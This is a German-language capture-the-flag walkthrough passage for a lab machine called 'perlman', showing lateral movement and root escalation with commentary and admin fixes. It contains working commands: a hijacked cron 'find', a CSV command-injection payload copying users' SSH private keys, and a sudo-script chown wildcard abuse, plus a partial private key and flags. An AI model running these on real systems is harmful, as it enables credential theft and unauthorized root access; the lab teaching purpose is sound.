b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
HLRZcy1a50/UAAAARbWlsb3VAcGVybG1hbi5obXYBAg
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Diese Befehlssequenz deutet stark auf die Ausnutzung eines unsicheren Cronjobs hin, der `find` ausführt. 1. Im Verzeichnis `/tmp` wird eine Datei namens `find` erstellt, die Befehle enthält, um den SSH-Schlüssel des Benutzers `milou` zu kopieren und lesbar zu machen. 2. Diese Datei wird ausführbar gemacht. 3. Ein `watch`-Befehl überwacht das Erscheinen der Zieldatei `/tmp/milou`. 4. Nachdem die Datei erschienen ist (der Cronjob hat die bösartige `find`-Datei ausgeführt), wird der Inhalt gelesen. Es ist der private SSH-Schlüssel des Benutzers `milou`.

**Bewertung:** Erfolgreiche Eskalation/laterale Bewegung zu den Rechten von `milou` (zumindest Zugriff auf dessen SSH-Key) durch Ausnutzung eines Cronjobs mit einer Wildcard-Schwachstelle oder unsicheren Pfadangabe.

**Empfehlung (Pentester):** Den extrahierten privaten Schlüssel von `milou` verwenden, um sich lokal per SSH als `milou` anzumelden.
**Empfehlung (Admin):** Den unsicheren Cronjob finden und beheben. Niemals `find` mit unsicheren Optionen (wie `-exec` ohne `{}` oder mit Platzhaltern in beschreibbaren Verzeichnissen) als root oder privilegierter Benutzer ausführen. Cronjobs immer mit absoluten Pfaden definieren.

rita@perlman:/tmp$ ssh -i milou milou@localhost
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
milou@perlman:~$ # Erfolgreich als milou angemeldet

**Analyse:** Mit dem extrahierten privaten Schlüssel (`milou`, gespeichert aus `cat milou`) wird erfolgreich eine lokale SSH-Verbindung als Benutzer `milou` hergestellt.

**Bewertung:** Erfolgreiche laterale Bewegung zu `milou`.

Lateral Movement zu ze_perlman (CSV Command Injection & SSH Key)

milou@perlman:~$ nano perl_store.csv
# Originalinhalt (Annahme):
item,brand,price,numb
CPU,AMD,3,550
[...]
milou@perlman:~$ nano perl_store.csv
# Geänderter Inhalt:
item,brand,price,numb
CPU,AMD,3,550,x[$(id>&2)]   <<--- Command Injection
GPU,Nvidia,4,1150
[...]
# (Ausführung des verarbeitenden Skripts impliziert - Output zeigt id von www-data?)
milou@perlman:~$ nano perl_store.csv
# Zweite Änderung:
item,brand,price,numb
CPU,AMD,3,550,x[$(cp /home/ze_perlman/.ssh/id_rsa /dev/shm>&2 ; chmod 777 /dev/shm/id_rsa>&2)]
GPU,Nvidia,4,1150
[...]
milou@perlman:/home/ze_perlman$ ls /dev/shm/
id_rsa

**Analyse:** Als `milou` wird eine CSV-Datei (`perl_store.csv`) bearbeitet. Es wird eine Command Injection Payload (`x[$(...)]`) in eine der Zeilen eingefügt. Zuerst wird `id` ausgeführt (die Ausgabe `>&2` leitet sie vermutlich ins Error-Log oder Terminal um, wird hier aber nicht gezeigt). Dann wird der Payload geändert, um den privaten SSH-Schlüssel von `ze_perlman` nach `/dev/shm/id_rsa` zu kopieren und lesbar zu machen. Nach einer impliziten Ausführung des Skripts, das die CSV verarbeitet, ist die Schlüsseldatei in `/dev/shm` vorhanden.

**Bewertung:** Eine Command Injection-Schwachstelle in einem Skript, das die CSV-Datei `perl_store.csv` verarbeitet, wurde gefunden und ausgenutzt, um den SSH-Schlüssel von `ze_perlman` zu extrahieren.

**Empfehlung (Pentester):** Den extrahierten SSH-Schlüssel von `ze_perlman` verwenden, um sich lokal als dieser Benutzer anzumelden.
**Empfehlung (Admin):** Das Skript, das `perl_store.csv` verarbeitet, auf Command Injection prüfen und beheben. Niemals Daten aus Dateien oder Benutzereingaben ungeprüft in Shell-Befehlen verwenden. Sichere Parsing-Methoden und keine `eval`-ähnlichen Konstrukte nutzen. Berechtigungen der CSV-Datei prüfen.

milou@perlman:/home/ze_perlman$ ssh -i /dev/shm/id_rsa ze_perlman@localhost
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
ze_perlman@perlman:~$ # Erfolgreich als ze_perlman angemeldet

**Analyse:** Mit dem aus `/dev/shm` geholten privaten Schlüssel wird erfolgreich eine lokale SSH-Verbindung als Benutzer `ze_perlman` hergestellt.

**Bewertung:** Erfolgreiche laterale Bewegung zu `ze_perlman`.

POC: Eskalation zu root (sudo Script & chown Exploit)

ze_perlman@perlman:~$ cat user.txt
7efd84255146266f3ca02579eb71a36f

**Analyse:** Als `ze_perlman` wird die User-Flag gelesen.

**Bewertung:** User-Flag gefunden (scheint dieselbe wie vorherige zu sein? Evtl. Fehler im Log oder die Flag liegt im Home von `ze_perlman`).

ze_perlman@perlman:~$ cd /opt/backup/
ze_perlman@perlman:/opt/backup$ ls -la
total 12
drwxrwx--- 2 root ze_perlman 4096 Sep 11 12:15 .
d-wxr-x--- 3 root ze_perlman 4096 Sep 11 12:15 ..
-rwxr-xr-x 1 root root        318 Jul 23 13:47 bk
                    
ze_perlman@perlman:/opt/backup$ cat bk
#! /bin/bash

vfy=$(chmod 700 /root # Interessant, aber nicht direkt ausnutzbar
chown root:root /usr/lib/news/*
chown root:root * # Gefährlich! Wildcard!
chown -R news:news /var/lib/news
chown -R www-data:www-data /var/www
}

[[ $1 == "${vfy//un/}" ]] && backup
                     
ze_perlman@perlman:/opt/backup$ cat ../vfy.txt
undesired-root-2022

**Analyse:** Im Verzeichnis `/opt/backup` (auf das `ze_perlman` Schreibzugriff hat: `drwxrwx---`) befindet sich ein Skript `bk`, das `root` gehört. Das Skript enthält eine `backup`-Funktion, die sensible Dateien nach `/opt/backup` kopiert und unsichere `chmod`- und `chown`-Befehle ausführt, insbesondere `chown root:root *`. Die Funktion wird ausgeführt, wenn das erste Argument (`$1`) dem Inhalt von `/opt/vfy.txt` entspricht, wobei "un" entfernt wird. `/opt/vfy.txt` enthält `undesired-root-2022`, also muss das Argument `desired-root-2022` sein.

**Bewertung:** Das Skript `bk` ist der Schlüssel zur Root-Eskalation. Die `backup`-Funktion kopiert den privaten SSH-Schlüssel von `root` (`~/.ssh/id_rsa` wird als `root` ausgeführt) nach `/opt/backup`. Der `chown root:root *`-Befehl ist zusätzlich eine bekannte Schwachstelle (Wildcard Exploit), die hier genutzt wird, um die Rechte des `root`-Schlüssels zu manipulieren oder andere Dateien zu beeinflussen, falls nötig.

ze_perlman@perlman:/opt/backup$ sudo -l
Matching Defaults entries for ze_perlman on perlman:
    env_reset, mail_badpass, secure_path= [...]

User ze_perlman may run the following commands on perlman:
    (root) NPASSWD: /bin/bash /opt/backup/bk *
                     

**Analyse:** `sudo -l` bestätigt, dass `ze_perlman` das Skript `/opt/backup/bk` mit beliebigen Argumenten (`*`) als `root` ohne Passwort ausführen darf.

**Bewertung:** Die unsichere `sudo`-Regel erlaubt die Ausführung des verwundbaren Skripts.

ze_perlman@perlman:/opt/backup$ touch "./--reference=ref"
ze_perlman@perlman:/opt/backup$ touch ref
ze_perlman@perlman:/opt/backup$ sudo /bin/bash /opt/backup/bk desired-root-2022
chmod: changing permissions of '/opt/backup/bk': Operation not permitted
chown: cannot access 'root:root': No such file or directory
chown: changing ownership of 'bk': Operation not permitted
# Fehlermeldungen vom chown *, aber backup() wurde ausgeführt
                     
ze_perlman@perlman:/opt/backup$ ls
bk  id_rsa  passwd  ref  '--reference=ref'  shadow  sudoers

**Analyse:** Die Dateien für den `chown`-Wildcard-Exploit (`--reference=ref` und `ref`) werden erstellt (obwohl sie hier nicht primär benötigt werden, da der `cp`-Befehl den Key bereits kopiert). Das Skript `bk` wird mit `sudo` und dem korrekten Argument `desired-root-2022` ausgeführt. Dies triggert die `backup()`-Funktion. Obwohl der `chown *`-Befehl Fehler wirft (er versucht, sich selbst (`bk`) und nicht existierende Dateien (`root:root`) zu ändern), wurde die `cp`-Zeile vorher ausgeführt. Ein `ls` bestätigt, dass `id_rsa` (der private Schlüssel von root) nun im Verzeichnis `/opt/backup` liegt.

**Bewertung:** Der private SSH-Schlüssel von `root` wurde erfolgreich durch Ausnutzung des `sudo`-Rechts und des Skripts extrahiert.

**Empfehlung (Pentester):** Den extrahierten `root`-Schlüssel (`id_rsa`) kopieren, Berechtigungen setzen und für den SSH-Login als `root` verwenden.
**Empfehlung (Admin):** Das Skript `/opt/backup/bk` und die zugehörige `sudo`-Regel entfernen. Niemals Skripte mit unsicheren Befehlen (`chown *`) oder Kopieroperationen sensibler Daten über `sudo` erlauben. Das Prinzip der geringsten Rechte anwenden.

ze_perlman@perlman:/opt/backup$ cp id_rsa /dev/shm/root;chmod 777 /dev/shm/root
ze_perlman@perlman:/opt/backup$ cd /dev/shm/
ze_perlman@perlman:/dev/shm$ ls -la
[...]
-rwxrwxrwx  1 ze_perlman ze_perlman 2602 Oct  7 00:35 root # Root SSH Key
                    
ze_perlman@perlman:/dev/shm$ chmod 600 root && ssh -i root root@localhost
root@perlman:~# # Erfolgreich als root angemeldet!
                    

**Analyse:** Der extrahierte `root`-Schlüssel wird nach `/dev/shm/root` kopiert. Die Berechtigungen werden zuerst auf `777` (unsicher, aber zum Kopieren) und dann korrekt auf `600` gesetzt. Mit `ssh -i root root@localhost` wird der Schlüssel verwendet, um sich lokal als `root` anzumelden. Dies ist erfolgreich.

**Bewertung:** Privilege Escalation zu `root` erfolgreich abgeschlossen.

root@perlman:~# cd ~
root@perlman:~# cat root.txt
0ca2710be21eabe7ddbf0240557bd210

**Analyse:** Als `root` wird die Datei `root.txt` gelesen.

**Bewertung:** Root-Flag erfolgreich gefunden.

Flags

cat /home/ze_perlman/user.txt
7efd84255146266f3ca02579eb71a36f
cat /root/root.txt
0ca2710be21eabe7ddbf0240557bd210